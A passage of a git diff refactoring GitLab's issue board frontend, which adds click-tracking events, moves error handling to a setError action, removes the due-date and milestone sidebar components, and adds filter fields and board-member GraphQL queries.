--- a/app/assets/javascripts/boards/components/board_list_header.vue
+++ b/app/assets/javascripts/boards/components/board_list_header.vue
@@ -14,6 +14,7 @@ import { isScopedLabel, parseBoolean } from '~/lib/utils/common_utils';
import { BV_HIDE_TOOLTIP } from '~/lib/utils/constants';
import { n__, s__, __ } from '~/locale';
import sidebarEventHub from '~/sidebar/event_hub';
+import Tracking from '~/tracking';
import AccessorUtilities from '../../lib/utils/accessor';
import { inactiveId, LIST, ListType } from '../constants';
import eventHub from '../eventhub';
@@ -38,6 +39,7 @@ export default {
directives: {
GlTooltip: GlTooltipDirective,
},
+ mixins: [Tracking.mixin()],
inject: {
boardId: {
default: '',
@@ -98,6 +100,12 @@ export default {
showListDetails() {
return !this.list.collapsed || !this.isSwimlanesHeader;
},
+ showListHeaderActions() {
+ if (this.isLoggedIn) {
+ return this.isNewIssueShown || this.isSettingsShown;
+ }
+ return false;
+ },
itemsCount() {
return this.list.issuesCount;
},
@@ -149,6 +157,8 @@ export default {
}
this.setActiveId({ id: this.list.id, sidebarType: LIST });
+
+ this.track('click_button', { label: 'list_settings' });
},
showScopedLabels(label) {
return this.scopedLabelsAvailable && isScopedLabel(label);
@@ -170,6 +180,11 @@ export default {
// When expanding/collapsing, the tooltip on the caret button sometimes stays open.
// Close all tooltips manually to prevent dangling tooltips.
this.$root.$emit(BV_HIDE_TOOLTIP);
+
+ this.track('click_toggle_button', {
+ label: 'toggle_list',
+ property: collapsed ? 'closed' : 'open',
+ });
},
addToLocalStorage() {
if (AccessorUtilities.isLocalStorageAccessSafe()) {
@@ -351,10 +366,7 @@ export default {
<!-- EE end -->
</span>
</div>
- <gl-button-group
- v-if="isNewIssueShown || isSettingsShown"
- class="board-list-button-group pl-2"
- >
+ <gl-button-group v-if="showListHeaderActions" class="board-list-button-group gl-pl-2">
<gl-button
v-if="isNewIssueShown"
v-show="!list.collapsed"
diff --git a/app/assets/javascripts/boards/components/board_list_header_deprecated.vue b/app/assets/javascripts/boards/components/board_list_header_deprecated.vue
index 429ffd4cd06..bc29728fc55 100644
--- a/app/assets/javascripts/boards/components/board_list_header_deprecated.vue
+++ b/app/assets/javascripts/boards/components/board_list_header_deprecated.vue
@@ -35,6 +35,9 @@ export default {
GlTooltip: GlTooltipDirective,
},
inject: {
+ currentUserId: {
+ default: null,
+ },
boardId: {
default: '',
},
@@ -63,7 +66,7 @@ export default {
computed: {
...mapState(['activeId']),
isLoggedIn() {
- return Boolean(gon.current_user_id);
+ return Boolean(this.currentUserId);
},
listType() {
return this.list.type;
@@ -89,6 +92,12 @@ export default {
showListDetails() {
return this.list.isExpanded || !this.isSwimlanesHeader;
},
+ showListHeaderActions() {
+ if (this.isLoggedIn) {
+ return this.isNewIssueShown || this.isSettingsShown;
+ }
+ return false;
+ },
issuesCount() {
return this.list.issuesSize;
},
@@ -320,10 +329,7 @@ export default {
</template>
</span>
</div>
- <gl-button-group
- v-if="isNewIssueShown || isSettingsShown"
- class="board-list-button-group pl-2"
- >
+ <gl-button-group v-if="showListHeaderActions" class="board-list-button-group pl-2">
<gl-button
v-if="isNewIssueShown"
ref="newIssueBtn"
diff --git a/app/assets/javascripts/boards/components/board_new_issue.vue b/app/assets/javascripts/boards/components/board_new_issue.vue
index 144cae15ab3..a63b49f9508 100644
--- a/app/assets/javascripts/boards/components/board_new_issue.vue
+++ b/app/assets/javascripts/boards/components/board_new_issue.vue
@@ -102,7 +102,7 @@ export default {
ref="submitButton"
:disabled="disabled"
class="float-left js-no-auto-disable"
- variant="success"
+ variant="confirm"
category="primary"
type="submit"
>
diff --git a/app/assets/javascripts/boards/components/board_settings_sidebar.vue b/app/assets/javascripts/boards/components/board_settings_sidebar.vue
index 3d7f1f38a34..75975c77df5 100644
--- a/app/assets/javascripts/boards/components/board_settings_sidebar.vue
+++ b/app/assets/javascripts/boards/components/board_settings_sidebar.vue
@@ -6,6 +6,7 @@ import boardsStore from '~/boards/stores/boards_store';
import { isScopedLabel } from '~/lib/utils/common_utils';
import { __ } from '~/locale';
import eventHub from '~/sidebar/event_hub';
+import Tracking from '~/tracking';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
// NOTE: need to revisit how we handle headerHeight, because we have so many different header and footer options.
@@ -21,7 +22,7 @@ export default {
BoardSettingsListTypes: () =>
import('ee_component/boards/components/board_settings_list_types.vue'),
},
- mixins: [glFeatureFlagMixin()],
+ mixins: [glFeatureFlagMixin(), Tracking.mixin()],
inject: ['canAdminList'],
data() {
return {
@@ -72,6 +73,7 @@ export default {
// eslint-disable-next-line no-alert
if (window.confirm(__('Are you sure you want to remove this list?'))) {
if (this.shouldUseGraphQL || this.isEpicBoard) {
+ this.track('click_button', { label: 'remove_list' });
this.removeList(this.activeId);
} else {
this.activeList.destroy();
diff --git a/app/assets/javascripts/boards/components/config_toggle.vue b/app/assets/javascripts/boards/components/config_toggle.vue
index fdb60d0ae6a..30e304b8a65 100644
--- a/app/assets/javascripts/boards/components/config_toggle.vue
+++ b/app/assets/javascripts/boards/components/config_toggle.vue
@@ -3,6 +3,7 @@ import { GlButton, GlModalDirective, GlTooltipDirective } from '@gitlab/ui';
import { formType } from '~/boards/constants';
import eventHub from '~/boards/eventhub';
import { s__, __ } from '~/locale';
+import Tracking from '~/tracking';
export default {
components: {
@@ -12,6 +13,7 @@ export default {
GlTooltip: GlTooltipDirective,
GlModalDirective,
},
+ mixins: [Tracking.mixin()],
props: {
boardsStore: {
type: Object,
@@ -37,6 +39,7 @@ export default {
},
methods: {
showPage() {
+ this.track('click_button', { label: 'edit_board' });
eventHub.$emit('showBoardModal', formType.edit);
if (this.boardsStore) {
this.boardsStore.showPage(formType.edit);
diff --git a/app/assets/javascripts/boards/components/issue_card_inner_deprecated.vue b/app/assets/javascripts/boards/components/issue_card_inner_deprecated.vue
index 2652fac1818..6e90731cc2f 100644
--- a/app/assets/javascripts/boards/components/issue_card_inner_deprecated.vue
+++ b/app/assets/javascripts/boards/components/issue_card_inner_deprecated.vue
@@ -95,6 +95,9 @@ export default {
}
return __('Blocked issue');
},
+ assignees() {
+ return this.issue.assignees.filter((_, index) => this.shouldRenderAssignee(index));
+ },
},
methods: {
isIndexLessThanlimit(index) {
@@ -215,8 +218,7 @@ export default {
</div>
<div class="board-card-assignee gl-display-flex">
<user-avatar-link
- v-for="(assignee, index) in issue.assignees"
- v-if="shouldRenderAssignee(index)"
+ v-for="assignee in assignees"
:key="assignee.id"
:link-href="assigneeUrl(assignee)"
:img-alt="avatarUrlTitle(assignee)"
diff --git a/app/assets/javascripts/boards/components/issue_time_estimate_deprecated.vue b/app/assets/javascripts/boards/components/issue_time_estimate_deprecated.vue
index fe56833016e..8ddf50cb357 100644
--- a/app/assets/javascripts/boards/components/issue_time_estimate_deprecated.vue
+++ b/app/assets/javascripts/boards/components/issue_time_estimate_deprecated.vue
@@ -10,7 +10,7 @@ export default {
},
props: {
estimate: {
- type: Number,
+ type: [Number, String],
required: true,
},
},
diff --git a/app/assets/javascripts/boards/components/sidebar/board_sidebar_due_date.vue b/app/assets/javascripts/boards/components/sidebar/board_sidebar_due_date.vue
deleted file mode 100644
index 13e1e232676..00000000000
--- a/app/assets/javascripts/boards/components/sidebar/board_sidebar_due_date.vue
+++ /dev/null
@@ -1,110 +0,0 @@
-<script>
-import { GlButton, GlDatepicker } from '@gitlab/ui';
-import { mapGetters, mapActions } from 'vuex';
-import BoardEditableItem from '~/boards/components/sidebar/board_editable_item.vue';
-import createFlash from '~/flash';
-import { dateInWords, formatDate, parsePikadayDate } from '~/lib/utils/datetime_utility';
-import { __ } from '~/locale';
-
-export default {
- components: {
- BoardEditableItem,
- GlButton,
- GlDatepicker,
- },
- data() {
- return {
- loading: false,
- };
- },
- computed: {
- ...mapGetters(['activeBoardItem', 'projectPathForActiveIssue']),
- hasDueDate() {
- return this.activeBoardItem.dueDate != null;
- },
- parsedDueDate() {
- if (!this.hasDueDate) {
- return null;
- }
-
- return parsePikadayDate(this.activeBoardItem.dueDate);
- },
- formattedDueDate() {
- if (!this.hasDueDate) {
- return '';
- }
-
- return dateInWords(this.parsedDueDate, true);
- },
- },
- methods: {
- ...mapActions(['setActiveIssueDueDate']),
- async openDatePicker() {
- await this.$nextTick();
- this.$refs.datePicker.calendar.show();
- },
- async setDueDate(date) {
- this.loading = true;
- this.$refs.sidebarItem.collapse();
-
- try {
- const dueDate = date ? formatDate(date, 'yyyy-mm-dd') : null;
- await this.setActiveIssueDueDate({ dueDate, projectPath: this.projectPathForActiveIssue });
- } catch (e) {
- createFlash({ message: this.$options.i18n.updateDueDateError });
- } finally {
- this.loading = false;
- }
- },
- },
- i18n: {
- dueDate: __('Due date'),
- removeDueDate: __('remove due date'),
- updateDueDateError: __('An error occurred when updating the issue due date'),
- },
-};
-</script>
-
-<template>
- <board-editable-item
- ref="sidebarItem"
- class="board-sidebar-due-date"
- data-testid="sidebar-due-date"
- :title="$options.i18n.dueDate"
- :loading="loading"
- @open="openDatePicker"
- >
- <template v-if="hasDueDate" #collapsed>
- <div class="gl-display-flex gl-align-items-center">
- <strong class="gl-text-gray-900">{{ formattedDueDate }}</strong>
- <span class="gl-mx-2">-</span>
- <gl-button
- variant="link"
- class="gl-text-gray-500!"
- data-testid="reset-button"
- :disabled="loading"
- @click="setDueDate(null)"
- >
- {{ $options.i18n.removeDueDate }}
- </gl-button>
- </div>
- </template>
- <gl-datepicker
- ref="datePicker"
- :value="parsedDueDate"
- show-clear-button
- @input="setDueDate"
- @clear="setDueDate(null)"
- />
- </board-editable-item>
-</template>
-<style>
-/*
- * This can be removed after closing:
- * https://gitlab.com/gitlab-org/gitlab-ui/-/issues/1048
- */
-.board-sidebar-due-date .gl-datepicker,
-.board-sidebar-due-date .gl-datepicker-input {
- width: 100%;
-}
-</style>
diff --git a/app/assets/javascripts/boards/components/sidebar/board_sidebar_labels_select.vue b/app/assets/javascripts/boards/components/sidebar/board_sidebar_labels_select.vue
index 919ef0d3783..29febd0fa51 100644
--- a/app/assets/javascripts/boards/components/sidebar/board_sidebar_labels_select.vue
+++ b/app/assets/javascripts/boards/components/sidebar/board_sidebar_labels_select.vue
@@ -3,7 +3,6 @@ import { GlLabel } from '@gitlab/ui';
import { mapGetters, mapActions } from 'vuex';
import Api from '~/api';
import BoardEditableItem from '~/boards/components/sidebar/board_editable_item.vue';
-import createFlash from '~/flash';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import { isScopedLabel } from '~/lib/utils/common_utils';
import { mergeUrlParams } from '~/lib/utils/url_utility';
@@ -50,10 +49,10 @@ export default {
/*
Labels fetched in epic boards are always group-level labels
and the correct path are passed from the backend (injected through labelsFetchPath)
-
+
For issue boards, we should always include project-level labels and use a different endpoint.
(it requires knowing the project path of a selected issue.)
-
+
Note 1. that we will be using GraphQL to fetch labels when we create a labels select widget.
And this component will be removed _wholesale_ https://gitlab.com/gitlab-org/gitlab/-/issues/300653.
@@ -74,7 +73,7 @@ export default {
},
},
methods: {
- ...mapActions(['setActiveBoardItemLabels']),
+ ...mapActions(['setActiveBoardItemLabels', 'setError']),
async setLabels(payload) {
this.loading = true;
this.$refs.sidebarItem.collapse();
@@ -88,7 +87,7 @@ export default {
const input = { addLabelIds, removeLabelIds, projectPath: this.projectPathForActiveIssue };
await this.setActiveBoardItemLabels(input);
} catch (e) {
- createFlash({ message: __('An error occurred while updating labels.') });
+ this.setError({ error: e, message: __('An error occurred while updating labels.') });
} finally {
this.loading = false;
}
@@ -101,7 +100,7 @@ export default {
const input = { removeLabelIds, projectPath: this.projectPathForActiveIssue };
await this.setActiveBoardItemLabels(input);
} catch (e) {
- createFlash({ message: __('An error occurred when removing the label.') });
+ this.setError({ error: e, message: __('An error occurred when removing the label.') });
} finally {
this.loading = false;
}
diff --git a/app/assets/javascripts/boards/components/sidebar/board_sidebar_milestone_select.vue b/app/assets/javascripts/boards/components/sidebar/board_sidebar_milestone_select.vue
deleted file mode 100644
index ad225c7bf5c..00000000000
--- a/app/assets/javascripts/boards/components/sidebar/board_sidebar_milestone_select.vue
+++ /dev/null
@@ -1,158 +0,0 @@
-<script>
-import {
- GlDropdown,
- GlDropdownItem,
- GlDropdownText,
- GlSearchBoxByType,
- GlDropdownDivider,
- GlLoadingIcon,
-} from '@gitlab/ui';
-import { mapGetters, mapActions } from 'vuex';
-import BoardEditableItem from '~/boards/components/sidebar/board_editable_item.vue';
-import createFlash from '~/flash';
-import { __, s__ } from '~/locale';
-import projectMilestones from '../../graphql/project_milestones.query.graphql';
-
-export default {
- components: {
- BoardEditableItem,
- GlDropdown,
- GlLoadingIcon,
- GlDropdownItem,
- GlDropdownText,
- GlSearchBoxByType,
- GlDropdownDivider,
- },
- data() {
- return {
- milestones: [],
- searchTitle: '',
- loading: false,
- edit: false,
- };
- },
- apollo: {
- milestones: {
- query: projectMilestones,
- debounce: 250,
- skip() {
- return !this.edit;
- },
- variables() {
- return {
- fullPath: this.projectPath,
- searchTitle: this.searchTitle,
- state: 'active',
- includeAncestors: true,
- };
- },
- update(data) {
- const edges = data?.project?.milestones?.edges ?? [];
- return edges.map((item) => item.node);
- },
- error() {
- createFlash({ message: this.$options.i18n.fetchMilestonesError });
- },
- },
- },
- computed: {
- ...mapGetters(['activeBoardItem']),
- hasMilestone() {
- return this.activeBoardItem.milestone !== null;
- },
- groupFullPath() {
- const { referencePath = '' } = this.activeBoardItem;
- return referencePath.slice(0, referencePath.indexOf('/'));
- },
- projectPath() {
- const { referencePath = '' } = this.activeBoardItem;
- return referencePath.slice(0, referencePath.indexOf('#'));
- },
- dropdownText() {
- return this.activeBoardItem.milestone?.title ?? this.$options.i18n.noMilestone;
- },
- },
- methods: {
- ...mapActions(['setActiveIssueMilestone']),
- handleOpen() {
- this.edit = true;
- this.$refs.dropdown.show();
- },
- handleClose() {
- this.edit = false;
- this.$refs.sidebarItem.collapse();
- },
- async setMilestone(milestoneId) {
- this.loading = true;
- this.searchTitle = '';
- this.handleClose();
-
- try {
- const input = { milestoneId, projectPath: this.projectPath };
- await this.setActiveIssueMilestone(input);
- } catch (e) {
- createFlash({ message: this.$options.i18n.updateMilestoneError });
- } finally {
- this.loading = false;
- }
- },
- },
- i18n: {
- milestone: __('Milestone'),
- noMilestone: __('No milestone'),
- assignMilestone: __('Assign milestone'),
- noMilestonesFound: s__('Milestones|No milestones found'),
- fetchMilestonesError: __('There was a problem fetching milestones.'),
- updateMilestoneError: __('An error occurred while updating the milestone.'),
- },
-};
-</script>
-
-<template>
- <board-editable-item
- ref="sidebarItem"
- :title="$options.i18n.milestone"
- :loading="loading"
- data-testid="sidebar-milestones"
- @open="handleOpen"
- @close="handleClose"
- >
- <template v-if="hasMilestone" #collapsed>
- <strong class="gl-text-gray-900">{{ activeBoardItem.milestone.title }}</strong>
- </template>
- <gl-dropdown
- ref="dropdown"
- :text="dropdownText"
- :header-text="$options.i18n.assignMilestone"
- block
- @hide="handleClose"
- >
- <gl-search-box-by-type ref="search" v-model.trim="searchTitle" class="gl-m-3" />
- <gl-dropdown-item
- data-testid="no-milestone-item"
- :is-check-item="true"
- :is-checked="!activeBoardItem.milestone"
- @click="setMilestone(null)"
- >
- {{ $options.i18n.noMilestone }}
- </gl-dropdown-item>
- <gl-dropdown-divider />
- <gl-loading-icon v-if="$apollo.loading" class="gl-py-4" />
- <template v-else-if="milestones.length > 0">
- <gl-dropdown-item
- v-for="milestone in milestones"
- :key="milestone.id"
- :is-check-item="true"
- :is-checked="activeBoardItem.milestone && milestone.id === activeBoardItem.milestone.id"
- data-testid="milestone-item"
- @click="setMilestone(milestone.id)"
- >
- {{ milestone.title }}
- </gl-dropdown-item>
- </template>
- <gl-dropdown-text v-else data-testid="no-milestones-found">
- {{ $options.i18n.noMilestonesFound }}
- </gl-dropdown-text>
- </gl-dropdown>
- </board-editable-item>
-</template>
diff --git a/app/assets/javascripts/boards/components/sidebar/board_sidebar_subscription.vue b/app/assets/javascripts/boards/components/sidebar/board_sidebar_subscription.vue
index 376985f7cb6..4f5c55d0c5d 100644
--- a/app/assets/javascripts/boards/components/sidebar/board_sidebar_subscription.vue
+++ b/app/assets/javascripts/boards/components/sidebar/board_sidebar_subscription.vue
@@ -1,7 +1,6 @@
<script>
import { GlToggle } from '@gitlab/ui';
import { mapGetters, mapActions } from 'vuex';
-import createFlash from '~/flash';
import { __, s__ } from '~/locale';
export default {
@@ -39,17 +38,16 @@ export default {
},
},
methods: {
- ...mapActions(['setActiveItemSubscribed']),
+ ...mapActions(['setActiveItemSubscribed', 'setError']),
async handleToggleSubscription() {
this.loading = true;
-
try {
await this.setActiveItemSubscribed({
subscribed: !this.activeBoardItem.subscribed,
projectPath: this.projectPathForActiveIssue,
});
} catch (error) {
- createFlash({ message: this.$options.i18n.updateSubscribedErrorMessage });
+ this.setError({ error, message: this.$options.i18n.updateSubscribedErrorMessage });
} finally {
this.loading = false;
}
diff --git a/app/assets/javascripts/boards/components/sidebar/board_sidebar_time_tracker.vue b/app/assets/javascripts/boards/components/sidebar/board_sidebar_time_tracker.vue
index 96d444980a8..5d61f7b2887 100644
--- a/app/assets/javascripts/boards/components/sidebar/board_sidebar_time_tracker.vue
+++ b/app/assets/javascripts/boards/components/sidebar/board_sidebar_time_tracker.vue
@@ -9,17 +9,29 @@ export default {
inject: ['timeTrackingLimitToHours'],
computed: {
...mapGetters(['activeBoardItem']),
+ initialTimeTracking() {
+ const {
+ timeEstimate,
+ totalTimeSpent,
+ humanTimeEstimate,
+ humanTotalTimeSpent,
+ } = this.activeBoardItem;
+ return {
+ timeEstimate,
+ totalTimeSpent,
+ humanTimeEstimate,
+ humanTotalTimeSpent,
+ };
+ },
},
};
</script>
<template>
<issuable-time-tracker
- :time-estimate="activeBoardItem.timeEstimate"
- :time-spent="activeBoardItem.totalTimeSpent"
- :human-time-estimate="activeBoardItem.humanTimeEstimate"
- :human-time-spent="activeBoardItem.humanTotalTimeSpent"
+ :issuable-iid="activeBoardItem.iid.toString()"
:limit-to-hours="timeTrackingLimitToHours"
+ :initial-time-tracking="initialTimeTracking"
:show-collapsed="false"
/>
</template>
diff --git a/app/assets/javascripts/boards/components/sidebar/board_sidebar_title.vue b/app/assets/javascripts/boards/components/sidebar/board_sidebar_title.vue
index b8d3107c377..e77aadfa50e 100644
--- a/app/assets/javascripts/boards/components/sidebar/board_sidebar_title.vue
+++ b/app/assets/javascripts/boards/components/sidebar/board_sidebar_title.vue
@@ -2,7 +2,6 @@
import { GlAlert, GlButton, GlForm, GlFormGroup, GlFormInput } from '@gitlab/ui';
import { mapGetters, mapActions } from 'vuex';
import BoardEditableItem from '~/boards/components/sidebar/board_editable_item.vue';
-import createFlash from '~/flash';
import { joinPaths } from '~/lib/utils/url_utility';
import { __ } from '~/locale';
import autofocusonshow from '~/vue_shared/directives/autofocusonshow';
@@ -53,7 +52,7 @@ export default {
},
},
methods: {
- ...mapActions(['setActiveItemTitle']),
+ ...mapActions(['setActiveItemTitle', 'setError']),
getPendingChangesKey(item) {
if (!item) {
return '';
@@ -97,7 +96,7 @@ export default {
this.showChangesAlert = false;
} catch (e) {
this.title = this.item.title;
- createFlash({ message: this.$options.i18n.updateTitleError });
+ this.setError({ error: e, message: this.$options.i18n.updateTitleError });
} finally {
this.loading = false;
}
diff --git a/app/assets/javascripts/boards/constants.js b/app/assets/javascripts/boards/constants.js
index d88774d11c1..80a8fc99895 100644
--- a/app/assets/javascripts/boards/constants.js
+++ b/app/assets/javascripts/boards/constants.js
@@ -9,17 +9,6 @@ import updateBoardListMutation from './graphql/board_list_update.mutation.graphq
import issueSetSubscriptionMutation from './graphql/issue_set_subscription.mutation.graphql';
import issueSetTitleMutation from './graphql/issue_set_title.mutation.graphql';
-export const SupportedFilters = [
- 'assigneeUsername',
- 'authorUsername',
- 'labelName',
- 'milestoneTitle',
- 'releaseTag',
- 'search',
- 'myReactionEmoji',
- 'assigneeId',
-];
-
/* eslint-disable-next-line @gitlab/require-i18n-strings */
export const AssigneeIdParamValues = ['Any', 'None'];
@@ -47,6 +36,7 @@ export const ListTypeTitles = {
milestone: __('Milestone'),
iteration: __('Iteration'),
label: __('Label'),
+ backlog: __('Open'),
};
export const formType = {
@@ -60,8 +50,6 @@ export const inactiveId = 0;
export const ISSUABLE = 'issuable';
export const LIST = 'list';
-export const NOT_FILTER = 'not[';
-
export const flashAnimationDuration = 2000;
export const listsQuery = {
@@ -106,6 +94,19 @@ export const subscriptionQueries = {
},
};
+export const FilterFields = {
+ [issuableTypes.issue]: [
+ 'assigneeUsername',
+ 'assigneeWildcardId',
+ 'authorUsername',
+ 'labelName',
+ 'milestoneTitle',
+ 'myReactionEmoji',
+ 'releaseTag',
+ 'search',
+ ],
+};
+
export default {
BoardType,
ListType,
diff --git a/app/assets/javascripts/boards/graphql/group_board_members.query.graphql b/app/assets/javascripts/boards/graphql/group_board_members.query.graphql
new file mode 100644
index 00000000000..3b8c5389725
--- /dev/null
+++ b/app/assets/javascripts/boards/graphql/group_board_members.query.graphql
@@ -0,0 +1,16 @@
+#import "~/graphql_shared/fragments/user.fragment.graphql"
+
+query GroupBoardMembers($fullPath: ID!, $search: String) {
+ workspace: group(fullPath: $fullPath) {
+ __typename
+ assignees: groupMembers(search: $search) {
+ __typename
+ nodes {
+ id
+ user {
+ ...User
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/boards/graphql/issue.fragment.graphql b/app/assets/javascripts/boards/graphql/issue.fragment.graphql
index 47ecb55c72b..0ff70703e1a 100644
--- a/app/assets/javascripts/boards/graphql/issue.fragment.graphql
+++ b/app/assets/javascripts/boards/graphql/issue.fragment.graphql
@@ -14,10 +14,6 @@ fragment IssueNode on Issue {
confidential
webUrl
relativePosition
- milestone {
- id
- title
- }
assignees {
nodes {
...User
diff --git a/app/assets/javascripts/boards/graphql/issue_set_due_date.mutation.graphql b/app/assets/javascripts/boards/graphql/issue_set_due_date.mutation.graphql
deleted file mode 100644
index bbea248cf85..00000000000
--- a/app/assets/javascripts/boards/graphql/issue_set_due_date.mutation.graphql
+++ /dev/null
@@ -1,8 +0,0 @@
-mutation issueSetDueDate($input: UpdateIssueInput!) {
- updateIssue(input: $input) {
- issue {
- dueDate
- }
- errors
- }
-}
diff --git a/app/assets/javascripts/boards/graphql/issue_set_milestone.mutation.graphql b/app/assets/javascripts/boards/graphql/issue_set_milestone.mutation.graphql
deleted file mode 100644
index 5dc78a03a06..00000000000
--- a/app/assets/javascripts/boards/graphql/issue_set_milestone.mutation.graphql
+++ /dev/null
@@ -1,12 +0,0 @@
-mutation issueSetMilestone($input: UpdateIssueInput!) {
- updateIssue(input: $input) {
- issue {
- milestone {
- id
- title
- description
- }
- }
- errors
- }
-}
diff --git a/app/assets/javascripts/boards/graphql/lists_issues.query.graphql b/app/assets/javascripts/boards/graphql/lists_issues.query.graphql
index 43af7d2b2f1..d1cb1ecf834 100644
--- a/app/assets/javascripts/boards/graphql/lists_issues.query.graphql
+++ b/app/assets/javascripts/boards/graphql/lists_issues.query.graphql
@@ -12,11 +12,11 @@ query ListIssues(
) {
group(fullPath: $fullPath) @include(if: $isGroup) {
board(id: $boardId) {
- lists(id: $id) {
+ lists(id: $id, issueFilters: $filters) {
nodes {
id
+ issuesCount
issues(first: $first, filters: $filters, after: $after) {
- count
edges {
node {
...IssueNode
@@ -33,11 +33,11 @@ query ListIssues(
}
project(fullPath: $fullPath) @include(if: $isProject) {
board(id: $boardId) {
- lists(id: $id) {
+ lists(id: $id, issueFilters: $filters) {
nodes {
id
+ issuesCount
issues(first: $first, filters: $filters, after: $after) {
- count
edges {
node {
...IssueNode
diff --git a/app/assets/javascripts/boards/graphql/project_board_members.query.graphql b/app/assets/javascripts/boards/graphql/project_board_members.query.graphql
new file mode 100644
index 00000000000..fc6cc6b832c
--- /dev/null
+++ b/app/assets/javascripts/boards/graphql/project_board_members.query.graphql
@@ -0,0 +1,16 @@
+#import "~/graphql_shared/fragments/user.fragment.graphql"
+
+query ProjectBoardMembers($fullPath: ID!, $search: String) {
+ workspace: project(fullPath: $fullPath) {
+ __typename
+ assignees: projectMembers(search: $search) {
+ __typename
+ nodes {
+ id
+ user {
+ ...User
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/boards/index.js b/app/assets/javascripts/boards/index.js
index 1888645ef78..fb347ce852d 100644
--- a/app/assets/javascripts/boards/index.js
+++ b/app/assets/javascripts/boards/index.js
@@ -27,7 +27,6 @@ import FilteredSearchBoards from '~/boards/filtered_search_boards';
import store from '~/boards/stores';
import boardsStore from '~/boards/stores/boards_store';
import toggleFocusMode from '~/boards/toggle_focus';
-import { deprecatedCreateFlash as Flash } from '~/flash';
import createDefaultClient from '~/lib/graphql';
import {
NavigationType,
@@ -196,7 +195,7 @@ export default () => {
}
},
methods: {
- ...mapActions(['setInitialBoardData', 'performSearch']),
+ ...mapActions(['setInitialBoardData', 'performSearch', 'setError']),
initialBoardLoad() {
boardsStore
.all()
@@ -205,8 +204,11 @@ export default () => {
lists.forEach((list) => boardsStore.addList(list));
this.loading = false;
})
- .catch(() => {
- Flash(__('An error occurred while fetching the board lists. Please try again.'));
+ .catch((error) => {
+ this.setError({
+ error,
+ message: __('An error occurred while fetching the board lists. Please try again.'),
+ });
});
},
updateTokens() {
@@ -250,7 +252,7 @@ export default () => {
.catch(() => {
newIssue.setFetchingState('subscriptions', false);
setWeightFetchingState(newIssue, false);
- Flash(__('An error occurred while fetching sidebar data'));
+ this.setError({ message: __('An error occurred while fetching sidebar data') });
});
}
@@ -287,7 +289,9 @@ export default () => {
})
.catch(() => {
issue.setFetchingState('subscriptions', false);
- Flash(__('An error occurred when toggling the notification subscription'));
+ this.setError({
+ message: __('An error occurred when toggling the notification subscription'),
+ });
});
}
},
diff --git a/app/assets/javascripts/boards/models/project.js b/app/assets/javascripts/boards/models/project.js
index a3d5c7af7ac..9468a02856e 100644
--- a/app/assets/javascripts/boards/models/project.js
+++ b/app/assets/javascripts/boards/models/project.js
@@ -2,5 +2,6 @@ export default class IssueProject {
constructor(obj) {
this.id = obj.id;
this.path = obj.path;
+ this.fullPath = obj.path_with_namespace;
}
}
diff --git a/app/assets/javascripts/boards/stores/actions.js b/app/assets/javascripts/boards/stores/actions.js
index 5158e82c320..d4893f9eca7 100644
--- a/app/assets/javascripts/boards/stores/actions.js
+++ b/app/assets/javascripts/boards/stores/actions.js
@@ -7,11 +7,12 @@ import {
ISSUABLE,
titleQueries,
subscriptionQueries,
- SupportedFilters,
deleteListQueries,
listsQuery,
updateListQueries,
issuableTypes,
+ FilterFields,
+ ListTypeTitles,
} from 'ee_else_ce/boards/constants';
import createBoardListMutation from 'ee_else_ce/boards/graphql/board_list_create.mutation.graphql';
import issueMoveListMutation from 'ee_else_ce/boards/graphql/issue_move_list.mutation.graphql';
@@ -26,17 +27,15 @@ import {
formatIssue,
formatIssueInput,
updateListPosition,
- transformNotFilters,
moveItemListHelper,
getMoveData,
- getSupportedParams,
+ FiltersInfo,
+ filterVariables,
} from '../boards_util';
import boardLabelsQuery from '../graphql/board_labels.query.graphql';
import groupProjectsQuery from '../graphql/group_projects.query.graphql';
import issueCreateMutation from '../graphql/issue_create.mutation.graphql';
-import issueSetDueDateMutation from '../graphql/issue_set_due_date.mutation.graphql';
import issueSetLabelsMutation from '../graphql/issue_set_labels.mutation.graphql';
-import issueSetMilestoneMutation from '../graphql/issue_set_milestone.mutation.graphql';
import listsIssuesQuery from '../graphql/lists_issues.query.graphql';
import * as types from './mutation_types';
@@ -60,13 +59,16 @@ export default {
dispatch('setActiveId', { id: inactiveId, sidebarType: '' });
},
- setFilters: ({ commit }, filters) => {
- const filterParams = {
- ...getSupportedParams(filters, SupportedFilters),
- not: transformNotFilters(filters),
- };
-
- commit(types.SET_FILTERS, filterParams);
+ setFilters: ({ commit, state: { issuableType } }, filters) => {
+ commit(
+ types.SET_FILTERS,
+ filterVariables({
+ filters,
+ issuableType,
+ filterInfo: FiltersInfo,
+ filterFields: FilterFields,
+ }),
+ );
},
performSearch({ dispatch }) {
@@ -166,8 +168,11 @@ export default {
});
},
- addList: ({ commit }, list) => {
+ addList: ({ commit, dispatch, getters }, list) => {
commit(types.RECEIVE_ADD_LIST_SUCCESS, updateListPosition(list));
+ dispatch('fetchItemsForList', {
+ listId: getters.getListByTitle(ListTypeTitles.backlog).id,
+ });
},
fetchLabels: ({ state, commit, getters }, searchTerm) => {
@@ -258,7 +263,7 @@ export default {
commit(types.TOGGLE_LIST_COLLAPSED, { listId, collapsed });
},
- removeList: ({ state: { issuableType, boardLists }, commit }, listId) => {
+ removeList: ({ state: { issuableType, boardLists }, commit, dispatch, getters }, listId) => {
const listsBackup = { ...boardLists };
commit(types.REMOVE_LIST, listId);
@@ -278,6 +283,10 @@ export default {
}) => {
if (errors.length > 0) {
commit(types.REMOVE_LIST_FAILURE, listsBackup);
+ } else {
+ dispatch('fetchItemsForList', {
+ listId: getters.getListByTitle(ListTypeTitles.backlog).id,
+ });
}
},
)
@@ -287,6 +296,9 @@ export default {
},
fetchItemsForList: ({ state, commit }, { listId, fetchNext = false }) => {
+ if (!fetchNext) {
+ commit(types.RESET_ITEMS_FOR_LIST, listId);
+ }
commit(types.REQUEST_ITEMS_FOR_LIST, { listId, fetchNext });
const { fullPath, fullBoardId, boardType, filterParams } = state;
@@ -298,7 +310,7 @@ export default {
filters: filterParams,
isGroup: boardType === BoardType.group,
isProject: boardType === BoardType.project,
- first: 20,
+ first: 10,
after: fetchNext ? state.pageInfoByListId[listId].endCursor : undefined,
};
@@ -465,32 +477,13 @@ export default {
});
},
- setActiveIssueMilestone: async ({ commit, getters }, input) => {
- const { activeBoardItem } = getters;
- const { data } = await gqlClient.mutate({
